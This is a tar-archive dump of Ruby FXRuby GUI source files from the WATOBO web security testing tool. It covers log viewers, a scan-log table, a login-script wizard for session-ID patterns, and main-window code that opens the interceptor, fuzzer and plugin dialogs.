if pattern != "" then pattern_ok, *error = Watobo::Utils.checkRegex(pattern) if pattern_ok == true item = @list.appendItem("#{pattern}") @list.setItemData(item, pattern) @list.sortItems() else FXMessageBox.information(self, MBOX_OK, "Wrong Path Format", "Path must be a Regex!!!\nError: #{error.join('\n')}") end end end def initialize(owner, title="", info_text="", opts= LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X) gbframe = super(owner, title, opts, 0, 0, 0, 0) frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X, :padding => 0) unless info_text.empty? fxtext = FXText.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable text = "#{info_text}" fxtext.setText(text) end input_frame = FXHorizontalFrame.new(frame, :opts => LAYOUT_FILL_X) #@text = FXTextField.new(input_frame, 20, :target => @expath_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT|LAYOUT_FILL_X) @text = FXTextField.new(input_frame, 20, nil, 0, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT|LAYOUT_FILL_X) @rem_btn = FXButton.new(input_frame, "Remove", :opts => BUTTON_NORMAL|BUTTON_DEFAULT|LAYOUT_RIGHT) @add_btn = FXButton.new(input_frame, "Add", :opts => BUTTON_NORMAL|BUTTON_DEFAULT|LAYOUT_RIGHT) list_frame = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X|FRAME_SUNKEN, :padding => 0) @list = FXList.new(list_frame, :opts => LIST_EXTENDEDSELECT|LAYOUT_FILL_X|LAYOUT_FILL_Y) @list.numVisible = 5 @list.connect(SEL_COMMAND) { |sender, sel, item| @text.text = sender.getItemText(item) @text.handle(self, FXSEL(SEL_UPDATE, 0), nil) } @rem_btn.connect(SEL_COMMAND) { |sender, sel, item| removePattern(@text.text) if @text.text != '' @text.text = '' @text.handle(self, FXSEL(SEL_UPDATE, 0), nil) } @text.connect(SEL_COMMAND) { @add_btn.setFocus() # @add_btn.setDefault() } @add_btn.connect(SEL_COMMAND) { |sender, sel, item| addPattern(@text.text) if @text.text != '' @text.text = '' @text.handle(self, FXSEL(SEL_UPDATE, 0), nil) @text.setFocus() #@text.setDefault() } end end end endwatobo-1.0.1/lib/watobo/gui/log_file_viewer.rb000066400000000000000000000016271366346341400213370ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class LogFileViewer < FXVerticalFrame include Watobo::Constants def show_logs begin @textbox.setText(Watobo.logs) rescue => bang puts "! Could not show logs" puts bang puts bang.backtrace if $DEBUG end end def initialize(parent, mode = nil, opts) opts[:padding]=0 super(parent, opts) update_btn = FXButton.new(self, "Update",:opts => FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_TOP|LAYOUT_LEFT).connect(SEL_COMMAND){ show_logs } frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN) @textbox = FXText.new(frame, nil, 0, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_AUTOSCROLL|TEXT_READONLY) @textbox.editable = false show_logs end end end endwatobo-1.0.1/lib/watobo/gui/log_viewer.rb000077500000000000000000000032321366346341400203350ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Gui class LogViewer < FXVerticalFrame include Watobo::Constants def purge_logs begin @log_text_lock.synchronize do @textbox.setText('') # @textbox.makePositionVisible 0 end rescue => bang puts "! Could not purge logs" puts bang puts bang.backtrace if $DEBUG end end # LOG_INFO def log(log_level, msg) t = Time.now now = t.strftime("%m/%d/%Y @ %H:%M:%S") begin log_text = case log_level when LOG_INFO "INFO - #{now}: #{msg}\n" else "UNDEF - #{now}: #{msg}\n" end #@log_queue << log_text Watobo.save_thread do if @mode == :insert @log_text_lock.synchronize do @textbox.insertText(0, log_text) end else @log_text_lock.synchronize do @textbox.appendText(log_text) end end @textbox.handle(self, FXSEL(SEL_UPDATE, 0), nil) end rescue => bang puts bang puts bang.backtrace if $DEBUG end end def initialize(parent, mode = nil, opts) opts[:padding]=0 @mode = mode.nil? ? :inster : mode super(parent, opts) @log_queue = Queue.new @log_text_lock = Mutex.new @textbox = FXText.new(self, nil, 0, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @textbox.editable = false end end end endwatobo-1.0.1/lib/watobo/gui/log_viewer_frame.rb000066400000000000000000000046211366346341400215070ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Gui class LogViewerFrame < FXVerticalFrame attr :scan_chats include Watobo::Subscriber def reload initScanTable # return false unless Watobo::DataStore.respond_to?( :scans ) Watobo::DataStore.scans.sort_by {|f| File.ctime(f).to_i}.each do |file| lastRowIndex = @scanTable.getNumRows @scanTable.appendRows(1) @scanTable.setItemText(lastRowIndex, 0, File.basename(file)) @scanTable.setItemData(lastRowIndex, 0, file) @scanTable.setItemText(lastRowIndex, 1, File.ctime(file).strftime("%T %F")) 2.times do |i| item = @scanTable.getItem(lastRowIndex, i) item.justify = FXTableItem::LEFT unless item.nil? @scanTable.fitColumnsToContents(i) end end end def initialize(owner, prefs) super(owner, prefs) @scan_chats = [] frame = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X | FRAME_SUNKEN) #| FRAME_GROOVE) FXLabel.new(frame, "Scan-Logs") # @refresh_btn = FXButton.new(frame, "\tNew Project\tNew Project.", :icon => ICON_ADD_PROJECT, :padding => 0) @refresh_btn = FXButton.new(frame, "refresh", :opts => BUTTON_NORMAL | LAYOUT_RIGHT) @refresh_btn.connect(SEL_COMMAND) {reload} @scanTable = FXTable.new(self, :opts => TABLE_COL_SIZABLE | TABLE_ROW_SIZABLE | LAYOUT_FILL_X | LAYOUT_FILL_Y | TABLE_READONLY | LAYOUT_SIDE_TOP, :padding => 2) @scanTable.connect(SEL_COMMAND) do |sender, sel, item| begin row = item.row @scanTable.selectRow(row, false) scan_name = @scanTable.getItemText(row, 0) getApp().beginWaitCursor() @scan_chats = Watobo::DataStore.load_scan(scan_name) notify(:show_chats, @scan_chats) rescue => bang puts bang puts bang.backtrace if $DEBUG ensure getApp().endWaitCursor() end end initScanTable end private def initScanTable @scanTable.clearItems(false) @scanTable.setTableSize(0, 2) @scanTable.setColumnText(0, "Name") @scanTable.setColumnText(1, "Date") @scanTable.rowHeader.width = 0 @scanTable.setColumnWidth(0, 100) @scanTable.setColumnWidth(1, 200) end end end end watobo-1.0.1/lib/watobo/gui/login_wizzard.rb000066400000000000000000000202451366346341400210550ustar00rootroot00000000000000require 'fox16' include Fox class FXLoginWizzard < FXDialogBox attr_accessor :sid_patterns attr_accessor :requestids attr_accessor :project private def onPatternClick(sender,sel,item) @lastpattern=item highlight_pattern(@pattern_list.getItemText(item)) @pattern.value = @pattern_list.getItemText(item) @pattern.handle(self, FXSEL(SEL_UPDATE, 0), nil) end def onRequestClick(sender,sel,item) @lastid=item chat = Watobo::Chats.get_by_id(@request_list.getItemText(@lastid)) if chat then show_chat(chat) end end def show_chat(chat) @requestView.setText('') # Enable the style buffer for this text widget @requestView.styled = true atext=chat.request.join atext.gsub!(/\r/, "") @requestView.appendStyledText("#{atext}") @responseView.setText('') # Enable the style buffer for this text widget @responseView.styled = true atext=chat.response.join atext.gsub!(/\r/, "") @responseView.appendStyledText("#{atext}") end def update_request_list(idlist) @request_list.clearItems idlist.each do |chatid| chat = Watobo::Chats.get_by_id(chatid) puts chat.id if chat then #puts chatid @lastid = @request_list.appendItem("#{chatid}") @request_list.setItemData(@lastid, chat) end end end def highlight_pattern(pattern) return if @lastpattern < 0 return if @lastid < 0 chat = @request_list.getItemData(@lastid) req_text=chat.request.join req_text.gsub!(/\r/, "") @requestView.setText("") @requestView.appendStyledText("#{req_text}") resp_text=chat.response.join resp_text.gsub!(/\r/, "") @responseView.setText("") @responseView.appendStyledText("#{resp_text}") begin if req_text =~ /#{pattern}/ then if $1 and $2 then string1 = $1 string2 = $2 else string1 = pattern string2 = pattern end if req_text.index(string1) then @requestView.changeStyle(req_text.index(string1),string1.length,1) @requestView.changeStyle(req_text.index(string2),string2.length,1) end end if resp_text =~ /#{pattern}/ then if $1 and $2 then string1 = $1 string2 = $2 else string1 = pattern string2 = pattern end if resp_text.index(string1) then @responseView.changeStyle(resp_text.index(string1),string1.length,1) @responseView.changeStyle(resp_text.index(string2),string2.length,1) end end rescue puts "+ no valid regex" end end def addPattern(sender,sel,id) if @pattern != "" then @sid_patterns.push @pattern.value update_pattern_list end end def remPattern(sender,sel,id) if @lastpattern >= 0 then pattern = @pattern_list.getItemText(@lastpattern) #@pattern_list.removeItem(@lastpattern) @sid_patterns.delete(pattern) @lastpattern = -1 update_pattern_list end end def remRequest(sender,sel,id) if @lastid >= 0 then id = @request_list.getItemText(@lastid) #@pattern_list.removeItem(@lastpattern) @requestids.delete(id) @lastid = -1 update_request_list(@requestids) end end def updatePatternList @pattern_list.clearItems @sid_patterns.each do |pat| @pattern_list.appendItem("#{pat}") end end public def add_request(chatid) @requestids.push "#{chatid}" chat = nil @project.chat_list.each do |c| chat = c # puts "#{chat.id} : #{chatid}" break if c.id == chatid end show_chat(chat) update_request_list(@requestids) end def initialize(owner, project) @project = project # Invoke base class initialize function first # super(owner, "LoginScript Wizzard", DECOR_TITLE|DECOR_BORDER,:width=>800, :height=>600) super(owner, "LoginScript Wizzard", DECOR_ALL,:width=>800, :height=>600) #self.icon = icon # @project = nil @sid_patterns = [] @requestids = [] @pattern = FXDataTarget.new("") @sid_patterns = @project.settings[:sid_patterns].clone @requestids = @project.loginscript_ids.clone @lastid=-1 @lastpattern=-1 lw_main = FXPacker.new(self, :opts => LAYOUT_FILL) lw_bottom = FXHorizontalFrame.new(lw_main, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_BOTTOM) lw_body = FXHorizontalFrame.new(lw_main, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_SIDE_TOP) #============================================================================================= # body lw_left = FXVerticalFrame.new(lw_body, :opts => LAYOUT_FILL_Y|LAYOUT_SIDE_LEFT) lw_right = FXVerticalFrame.new(lw_body, :opts => LAYOUT_FILL_Y|LAYOUT_SIDE_RIGHT|LAYOUT_FILL_X) #============================================================================================= # lw_right req_frame = FXVerticalFrame.new(lw_right, :opts => LAYOUT_FILL_X| LAYOUT_FILL_Y|FRAME_GROOVE) resp_frame = FXVerticalFrame.new(lw_right, :opts => LAYOUT_FILL_X| LAYOUT_FILL_Y|FRAME_GROOVE) FXLabel.new(req_frame, "Requests:" ) @requestView = FXText.new(req_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) # Construct some hilite styles hs_red = FXHiliteStyle.new hs_red.normalForeColor = FXRGBA(255,255,255,255) #FXColor::Red hs_red.normalBackColor = FXRGBA(255,0,0,1) # FXColor::White hs_red.style = FXText::STYLE_BOLD # Enable the style buffer for this text widget @requestView.styled = true # Set the styles @requestView.hiliteStyles = [hs_red] FXLabel.new(resp_frame, "Response:" ) @responseView = FXText.new(resp_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @responseView.styled = true # Set the styles @responseView.hiliteStyles = [hs_red] #============================================================================================= # sid-pattern sid_frame = FXVerticalFrame.new(lw_left, :opts => LAYOUT_FILL_X|FRAME_GROOVE) lw_sid = FXHorizontalFrame.new(sid_frame, :opts => LAYOUT_FILL_X) FXLabel.new(lw_sid, "Pattern:" ) FXTextField.new(lw_sid, 20, :target => @pattern, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT) addPattern=FXButton.new(lw_sid, " + " , :opts => BUTTON_NORMAL|LAYOUT_LEFT) addPattern.connect(SEL_COMMAND, method(:addPattern)) remPattern=FXButton.new(lw_sid, " - " , :opts => BUTTON_NORMAL|LAYOUT_LEFT) remPattern.connect(SEL_COMMAND, method(:remPattern)) @pattern_list = FXList.new(sid_frame, :opts => LIST_EXTENDEDSELECT|LAYOUT_FILL_X|LAYOUT_FILL_Y) @pattern_list.numVisible = 8 @pattern_list.connect(SEL_COMMAND,method(:onPatternClick)) updatePatternList #============================================================================================= # request-list lw_req_list = FXVerticalFrame.new(lw_left, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE) lw_request_list_header = FXHorizontalFrame.new(lw_req_list, :opts => LAYOUT_FILL_X) FXLabel.new(lw_request_list_header, "Login-Requests:" ) @request_list = FXList.new(lw_req_list, :opts => LIST_EXTENDEDSELECT|LAYOUT_FILL_X|LAYOUT_FILL_Y) @request_list.connect(SEL_COMMAND,method(:onRequestClick)) remRequest=FXButton.new(lw_request_list_header, " - " , :opts => BUTTON_NORMAL|LAYOUT_RIGHT) remRequest.connect(SEL_COMMAND, method(:remRequest)) #============================================================================================= #============================================================================================= # lw_bottom FXButton.new(lw_bottom, "OK" , :target => self, :selector => FXDialogBox::ID_ACCEPT, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) FXButton.new(lw_bottom, "Cancel" , :target => self, :selector => FXDialogBox::ID_CANCEL, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) end end watobo-1.0.1/lib/watobo/gui/main_window.rb000077500000000000000000002253531366346341400205200ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Gui #################################################################################################################### # M A I N A P P L I C A T I O N W I N D O W # class MainWindow < FXMainWindow include Watobo include Watobo::Gui include Watobo::Constants include Watobo::Gui::Icons attr :interceptor attr :default_settings attr :watobo_baseseq attr :active_project attr :iproxy def open_manual_request_editor(chat) begin mrtk = ManualRequestEditor.new(FXApp.instance, @project, chat) mrtk.create mrtk.subscribe(:show_browser_preview) {|request, response| openBrowser(request, response) } mrtk.subscribe(:new_chat) {|c| Watobo::Chats.add c } mrtk.show(Fox::PLACEMENT_SCREEN) rescue => bang puts "!!! could not open manual request" puts bang end end private def add_queue_timer(ms) @update_timer = FXApp.instance.addTimeout(ms, :repeat => true) { unless @scanner.nil? if @scanner.finished? @scan_running = false @status_lock.synchronize do @new_status = SCAN_FINISHED end @scanner = nil end end @status_lock.synchronize do unless @new_status.nil? update_status(@new_status) end end } end def update_status(new_status) case new_status when SCAN_STARTED when SCAN_FINISHED @scan_button.icon = ICON_START @dashboard.setScanStatus("Finished") @statusBar.statusInfoText = "Ready." end new_status = nil end #def loadDefaultS def saveDefaultSettings_UNUSED(update_settings = {}) =begin settings= Hash.new [:password_policy, :history, :interceptor, :forwarding_proxy].each do |k| settings[k] = @settings[k] settings[k] = update_settings[k] if update_settings.has_key?(k) end # clean up few settings settings[:forwarding_proxy].delete :name settings[:general] = { :working_directory => @settings[:general][:working_directory], :workspace_path => @settings[:general][:workspace_path] } # puts YAML.dump(settings[:forwarding_proxy]) # check for proxy credentials proxy_has_credentials = false settings[:forwarding_proxy].each_key do |p| next if p == :default_proxy proxy = settings[:forwarding_proxy][p] if proxy.has_key? :credentials unless proxy[:password] == '' # puts " - proxy #{p} has password #{proxy_list[p][:credentials][:password]}" proxy_has_credentials = true end end end if proxy_has_credentials == true if @settings[:password_policy][:save_passwords] == true if @settings[:password_policy][:save_without_master] == false if @settings[:master_password].empty? puts "* need master password for proxy" dlg = MasterPWDialog.new(self) if dlg.execute != 0 @settings[:master_password] = dlg.masterPassword end end unless @settings[:master_password].empty? settings[:forwarding_proxy].each_key do |p| #creds = settings[:forwarding_proxy][p][:credentials] #pass = "$$WPE$$" + creds[:password] pass = settings[:forwarding_proxy][p][:password] unless pass.empty? creds[:password] = Crypto.encryptPassword(pass, @settings[:master_password]) creds[:encrypted] = true end end else cleanCredentials(settings) FXMessageBox.information(self,MBOX_OK,"No MasterPassword", "Could not encrypt proxy passwords. No Passwords have been saved!") end else puts "* saving passwords without protection!!!!" end else cleanCredentials(settings) end end # puts "=== DEFAULT SETTINGS PASSWORD POLICY" # puts YAML.dump(settings) Watobo::Utils.save_settings(@default_settings_file, settings ) =end end def saveSessionSettings_UNUSED(project = nil) begin #project.session_store.save_session_settings(project.session_settings) # Watobo::Conf::Scanner.save_session(project.session_store) Watobo::Gui.save_scanner_settings(project) return true rescue => bang puts bang puts bang.backtrace if $DEBUG end return false # puts "- saveSessionSettings -" # ss = YAML.load(YAML.dump(project.settings)) # unless project.nil? # puts "* saving session settings to #{project.sessionSettingsFile}" # settings = Hash.new # [:logout_signatures, :non_unique_parms, :login_chat_ids, :excluded_chats, :project_name, :session_name, :csrf_request_ids ].each do |k| # settings[k] = Hash.new # settings[k] = ss[k] if ss.has_key?(k) # end# # # Watobo::Utils.save_settings(project.sessionSettingsFile, settings) # end end def saveProjectSettings_UNUSED(project = nil) begin # project.session_store.save_project_settings(project.scan_settings) return true rescue => bang puts bang puts bang.backtrace if $DEBUG end return false # unless project.nil? # ps = YAML.load(YAML.dump(project.scan_settings)) # settings = { :scanner => Hash.new } # [:policy, :scope, :www_auth ].each do |k| # settings[:scanner][k] = Hash.new # settings[:scanner][k].update ps[k] if ps.has_key?(k) # end # # settings[:scanner][:custom_error_patterns] = ps[:custom_error_patterns] # settings[:scanner][:csrf_patterns] = ps[:csrf_patterns] unless ps[:csrf_patterns].nil?# # remove proxy list because they are stored in the default settings # settings[:forwarding_proxy] = project.forward_proxy_settings # settings[:project_name] = project.project_name # puts "==== WWW AUTH ===" # puts YAML.dump( settings[:www_auth] ) # puts "=== PASSWORD POLICY ===" # puts YAML.dump(@settings[:password_policy]) #if master_password_required? # password_set = false # settings[:www_auth].each_key do |p| # if settings[:www_auth][p].has_key? :password # password_set = true unless settings[:www_auth][p][:password] == '' # end # end # if @settings[:password_policy][:save_passwords] == true # unless settings[:www_auth].empty? # if @settings[:password_policy][:save_without_master] == false # if password_set and @settings[:master_password].empty? # puts "* need master password for server auth encryption" # dlg = MasterPWDialog.new(self) # if dlg.execute != 0 # @settings[:master_password] = dlg.masterPassword # end # end # unless @settings[:master_password].empty? # settings[:www_auth].each_key do |p| # creds = settings[:www_auth][p] # #pass = "$$WPE$$" + creds[:password] # pass = creds[:password] # if pass != '' # creds[:password] = Crypto.encryptPassword(pass, @settings[:master_password]) # creds[:encrypted] = true # end # end # else # cleanCredentials(settings) # FXMessageBox.information(self,MBOX_OK,"No MasterPassword", "Could not encrypt www_auth passwords. No Passwords have been saved!") # end# # else # puts "* saving passwords without protection!!!!" # end # end # else # cleanCredentials(settings) # end # puts "* saving www_auth settings ..." # puts YAML.dump( settings[:www_auth]) # Watobo::Utils.save_settings(project.projectSettingsFile, settings) # end end def update_conversation_table() @chatTable.showConversation(Watobo::Chats.to_a) @chatTable.apply_filter(@conversation_table_ctrl.filter) @conversation_table_ctrl.update_text return true end # # SHOW CHAT # def showChat(chat) return false if chat.nil? @last_chat = chat @mre_button.enabled = true @fuzz_button.enabled = true @bv_button.enabled = true @request_viewer.setText(chat.request) @last_request = chat.request @response_viewer.setText(chat.response) @last_response = chat.response @switcher.current = 0 @lastViewed = chat src = case chat.source when CHAT_SOURCE_INTERCEPT "Interceptor" when CHAT_SOURCE_PROXY "Proxy" when CHAT_SOURCE_MANUAL "Manual" when CHAT_SOURCE_FUZZER "Fuzzer" end @quickViewTitle.text = "Chat-ID: #{chat.id} (#{src})" @quickViewSubTitle.text = "" true end # # SHOW VULN # def showVulnerability(vuln) @mre_button.enabled = true @fuzz_button.enabled = true @bv_button.enabled = true @chatTable.killSelection() @request_viewer.setText(vuln.request) @last_request = vuln.request @response_viewer.setText(vuln.response) @last_response = vuln.response @lastViewed = vuln if vuln.details[:check_pattern] then pattern = vuln.details[:check_pattern].strip @request_viewer.highlight(pattern) end if vuln.details[:proof_pattern] then pattern = vuln.details[:proof_pattern].strip @response_viewer.highlight(pattern) end @switcher.current = 0 @quickViewTitle.text = "Finding: #{vuln.details[:class]}" chat_id = "unknown" chat_id = vuln.details[:chat_id] if vuln.details.has_key? :chat_id info_text = "[Module: #{vuln.details[:module].gsub(/watobo::modules::/i, '')}] [Chat-ID: #{chat_id}]" @quickViewSubTitle.text = info_text end def addFinding(finding) @findings_tree.addFinding(finding) end def openSessionManagement(sender, sel, item) smdlg = SessionManagementDialog.new(self) if smdlg.execute != 0 then sidpatterns = smdlg.getSidPatterns() logout_signatures = smdlg.getLogoutSignatures() unless Watobo.project.nil? ids = smdlg.getLoginScriptIds() Watobo.project.setLoginChatIds(ids) #Watobo.project.setSidPatterns(sidpatterns) Watobo.project.setLogoutSignatures(logout_signatures) end # save settings #saveProjectSettings(@project) #saveSessionSettings(@project) Watobo::Conf::Scanner.logout_signatures = logout_signatures Watobo::Conf::SidCache.patterns = sidpatterns Watobo::Gui.save_settings() end end def openPreferencesDialog(sender, sel, ptr) =begin prefdlg = PreferencesDialog.new(self, @settings) if prefdlg.execute != 0 ip = @settings[:interceptor] if ip[:intercept_port] != prefdlg.settings[:intercept_port] then FXMessageBox.information(self,MBOX_OK,"Intercept Port Changed", "Please restart WATOBO!") end @settings.update(prefdlg.settings) puts prefdlg.settings update_status_bar() if @project then @project.settings.update(@settings) @project.saveProjectSettings() end end =end end def openCADialog(sender, sel, item) cadlg = CertificateDialog.new(self, @project) if cadlg.execute != 0 end end def openWwwAuthDialog() # if @project.nil? # FXMessageBox.information(self,MBOX_OK,"No Project Defined", "Create Project First") # else auth_settings = {} w3adlg = Watobo::Gui::WwwAuthDialog.new(self) if w3adlg.execute != 0 #puts "* New WWW-Authentication" #puts @project.getWwwAuthentication().to_yaml Watobo::Conf::General.save_passwords = w3adlg.savePasswords? # saveProjectSettings(@project) # Watobo::Gui.save_default_settings(@project) Watobo::Gui.save_settings() #@iproxy.www_auth = @project.getWwwAuthentication() Watobo::Interceptor.proxy.refresh_www_auth end #puts "* new www_auth settings" # puts YAML.dump(@project.settings[:www_auth]) #end end def open_client_cert_dialog() if @project.nil? FXMessageBox.information(self, MBOX_OK, "No Project Defined", "Create Project First") else ccdlg = Watobo::Gui::ClientCertDialog.new(self) if ccdlg.execute != 0 #puts "* New WWW-Authentication" #puts @project.getWwwAuthentication().to_yaml #@settings[:password_policy][:save_passwords] = ccdlg.savePasswords? puts "* got client certificate settings" #puts ccdlg.client_cert_settings.to_yaml # Watobo.project.client_certificates = ccdlg.client_certificates # Watobo::Interceptor.proxy.client_certificates = ccdlg.client_certificates # saveProjectSettings(@project) Watobo::Gui.save_settings() # Watobo::Gui.save_default_settings(@project) end # puts YAML.dump(@project.settings[:www_auth]) end end def openPWPolicyDialog() if @project.nil? FXMessageBox.information(self, MBOX_OK, "No Project Defined", "Create Project First") else auth_settings = {} dlg = Watobo::Gui::PasswordPolicyDialog.new(self, @settings[:password_policy]) if dlg.execute != 0 @settings[:password_policy] = dlg.passwordPolicy #Watobo::Gui.save_default_settings(@project) #puts "* New WWW-Authentication" #puts @project.getWwwAuthentication().to_yaml #@settings[:password_policy][:save_passwords] = w3adlg.savePasswords? #saveProjectSettings(@project) Watobo::Gui.save_settings() #@iproxy.www_auth = @project.settings[:www_auth] end end end def openFuzzer(chat) begin fuzzer = FuzzerGui.new(FXApp.instance, @project, chat) fuzzer.create fuzzer.show(Fox::PLACEMENT_SCREEN) rescue => bang puts "!!! could not open fuzzer" puts bang end end def open_plugin_sqlmap(chat) begin sqlmap = Watobo::Plugin::Sqlmap::Gui.new(FXApp.instance, @project, chat) sqlmap.create sqlmap.show(Fox::PLACEMENT_SCREEN) rescue => bang puts "!!! could not open fuzzer" puts bang end end def open_plugin_invader(chat) begin invader = Watobo::Plugin::Invader::Gui.new(chat) invader.create invader.show(Fox::PLACEMENT_SCREEN) rescue => bang puts "!!! could not open invader" puts bang puts bang.backtrace end end def open_plugin_crawler(chat) begin plugin = Watobo::Plugin::Crawler::Gui.new(FXApp.instance, @project, chat) plugin.create plugin.show(Fox::PLACEMENT_SCREEN) rescue => bang puts "!!! could not open fuzzer" puts bang end end def open_plugin_jwt(chat) begin plugin = Watobo::Plugin::JWT::Gui.new(chat) plugin.create plugin.show(Fox::PLACEMENT_SCREEN) rescue => bang puts "!!! could not open jwt plugin" puts bang end end def addChat(chat) # addChatToTable(chat) if chatIsFiltered?(chat) == false # @chatTable.addChat(chat) #if chatIsFiltered?(chat) == false # @sites_tree.addChat(chat) end def showPassiveModulestatus @switcher.current = 2 @dashboard.tabBook.current = 1 end def showActiveModulestatus @switcher.current = 2 @dashboard.tabBook.current = 2 end def showDashboard(sender, sel, ptr) #@switcher.current=2 begin @switcher.setCurrent(2, true) rescue puts "no dashboard available yet!" end end def showLogs(sender, sel, ptr) @switcher.current = 1 @log_viewer.show_logs end def showConversation(sender = nil, sel = nil, item = nil) @switcher.current = 0 end def openBrowser(request, response) begin @browserView.show(request, response) rescue => bang puts "!!! PREVIEW PROBLEM !!" puts bang case bang when /JSSH_CONNECT_ERROR/i FXMessageBox.information(self, MBOX_OK, "JSSH Missing", "It seem that the Firefox JSSH extension is not installed,\nwhich is required in order to use the BrowserPreview.\nPlease read the installation instruction in the README\n or online at http://watobo.sourceforge.net.") else FXMessageBox.information(self, MBOX_OK, "Proxy Settings", "Your Browser does not use WATOBO (127.0.0.1:#{Watobo::Interceptor.proxy.port}) as its proxy.\nSo you can't use the Browser-View feature.\nPlease change your proxy settings and try it again!") end end end def update_history(project) # @settings[:history].unshift session_file if not @settings[:history].include?(session_file) # @settings[:history].pop if @settings[:history].length > 5 end def updateTreeLists() @findings_tree.refresh_tree() @sites_tree.refresh_tree() end def openTranscoder(text2transcode) transcoder = TranscoderWindow.new(FXApp.instance, text2transcode) transcoder.create transcoder.show(Fox::PLACEMENT_SCREEN) end def showFindingDetails(finding) #p "* show finding details" @finding_info.showInfo(finding) @switcher.setCurrent(3, true) end def onShowPlugins(sender, sel, item) begin @switcher.setCurrent(4, true) @pluginboard.updateBoard() rescue => bang puts bang puts bang.backtrace if $DEBUG end end def useSmallIcons() unless @project.nil? @findings_tree.useSmallIcons() @sites_tree.useSmallIcons() # @chatTable.setNewFont( "helvetica", GUI_SMALL_FONT_SIZE) @chatTable.setNewFont("Segoe UI", GUI_SMALL_FONT_SIZE) @request_viewer.setFontSize(GUI_SMALL_FONT_SIZE) @response_viewer.setFontSize(GUI_SMALL_FONT_SIZE) else end end def useRegularIcons() unless @project.nil? @findings_tree.useRegularIcons() @sites_tree.useRegularIcons() @chatTable.setNewFont("Segoe UI", GUI_REGULAR_FONT_SIZE) #@chatTable.setNewFont("helvetica", GUI_REGULAR_FONT_SIZE) @request_viewer.setFontSize(GUI_REGULAR_FONT_SIZE) @response_viewer.setFontSize(GUI_REGULAR_FONT_SIZE) else end end def onOpenTranscoder(sender, sel, item) openTranscoder(nil) end def refreshViewers() @findings_tree.reload() @sites_tree.reload() #@chatTable.clearItems() end def onOpenSequencer(sender, sel, ptr) sequencer_dlg = Watobo::Gui::SequencerDlg.new(FXApp.instance) sequencer_dlg.create sequencer_dlg.show(Fox::PLACEMENT_SCREEN) end def onOpenInterceptor(sender, sel, ptr) unless Watobo.project.nil? interceptor = Watobo::Gui::InterceptorUI.new(self, :opts => DECOR_ALL) Watobo::Interceptor.proxy.target = interceptor puts "* Interceptor created" #@project.interceptor = interceptor interceptor.create interceptor.show(Fox::PLACEMENT_SCREEN) getApp().runModalWhileShown(interceptor) interceptor.releaseAll() puts "* Interceptor closed" #iproxy.target = nil #if interceptor.execute != 0 then # puts "interceptor finished" #end else FXMessageBox.information(self, MBOX_OK, "No Project Defined", "Create Project First") end end def update_status_bar() unless Watobo.project.nil? @statusBar.projectName = Watobo.project_name @statusBar.sessionName = Watobo.session_name @dashboard.updateProjectInfo() @scan_button.enable @statusBar.statusInfoText = "Ready" end @statusBar.bindAddress = Watobo::Conf::Interceptor.bind_addr.to_s @statusBar.portNumber = Watobo::Conf::Interceptor.port.to_s @statusBar.forwardingProxy = "-" # puts Watobo::Conf::ForwardingProxy.default_proxy #unless Watobo::Conf::ForwardingProxy.default_proxy.empty? # default_proxy = Watobo::Conf::ForwardingProxy.default_proxy # ps = Watobo::Conf::ForwardingProxy.to_h # proxy = ps[default_proxy] # @statusBar.forwardingProxy = "#{proxy[:name]} (#{proxy[:host]}:#{proxy[:port]})" #end @statusBar.update_proxy_mode end def setupProgressWindow(title, numTotal) @progressWindow = Watobo::Gui::ProgressWindow.new(self, title, numTotal) @progressWindow.create @progressWindow.show(PLACEMENT_SCREEN) # getApp().runModalWhileShown(@progressWindow) return @progressWindow end def closeProgressWindow # getApp().stopModal() @progressWindow.finished end def disableFileMenu @file_new_menu.enabled = false @file_history.disable @new_project_button.disable end def closeProject() @project = nil Watobo::Chats.reset Watobo::Findings.reset Watobo::Scope.reset @findings_tree.clearItems() @sites_tree.clearItems() @chatTable.clearItems() @request_viewer.setText('') @response_viewer.setText('') @lastViewed = nil @last_request = nil @last_response = nil #@iproxy.stop if @iproxy Watobo::Interceptor.stop #disable_menu end # # onNewProject # def onNewProject(sender, sel, ptr) if @project then response = FXMessageBox.question(self, MBOX_YES_NO, "New Project", "This will close the actual project!\nAre you sure?") return 0 if not response == MBOX_CLICKED_YES # clear old project closeProject() # stop interceptor end puts "* Open Project Wizzard (#{Watobo::Conf::General.workspace_path})" if $DEBUG newProjectWizzard = Watobo::Gui::NewProjectWizzard.new(self, Watobo::Conf::General.workspace_path) if newProjectWizzard.execute != 0 # prepare project settings new_project_settings = { :project_path => newProjectWizzard.selected_project_path, :session_path => newProjectWizzard.selected_session_path, :project_name => newProjectWizzard.project_name, :session_name => newProjectWizzard.session_name } # @settings[:general][:workspace_path] Watobo::Conf::General.workspace_path = newProjectWizzard.workspace_dir Watobo.workspace_path = newProjectWizzard.workspace_dir project = Watobo.create_project(:project_name => newProjectWizzard.project_name, :session_name => newProjectWizzard.session_name) startProject(project) Watobo::Gui.history.add_entry(:project_name => new_project_settings[:project_name], :session_name => new_project_settings[:session_name]) 